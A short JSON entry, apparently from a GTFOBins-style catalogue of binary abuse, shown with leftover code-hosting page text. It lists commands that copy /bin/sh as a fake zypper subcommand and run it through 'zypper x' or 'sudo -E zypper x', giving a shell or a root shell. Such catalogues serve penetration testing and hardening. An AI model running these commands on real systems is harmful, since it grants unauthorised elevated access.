You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
22 lines
689 B
JSON
22 lines
689 B
JSON
{
|
|
"functions": {
|
|
"shell": [
|
|
{
|
|
"description": "This requires '/bin/sh' to be copied to '/usr/lib/zypper/commands/zypper-x' and this usually requires elevated privileges.",
|
|
"code": "zypper x\n"
|
|
},
|
|
{
|
|
"code": "TF=$(mktemp -d)\ncp /bin/sh $TF/zypper-x\nexport PATH=$TF:$PATH\nzypper x\n"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"description": "This requires '/bin/sh' to be copied to '/usr/lib/zypper/commands/zypper-x' and this usually requires elevated privileges.",
|
|
"code": "sudo zypper x\n"
|
|
},
|
|
{
|
|
"code": "TF=$(mktemp -d)\ncp /bin/sh $TF/zypper-x\nexport PATH=$TF:$PATH\nsudo -E zypper x\n"
|
|
}
|
|
]
|
|
}
|
|
} |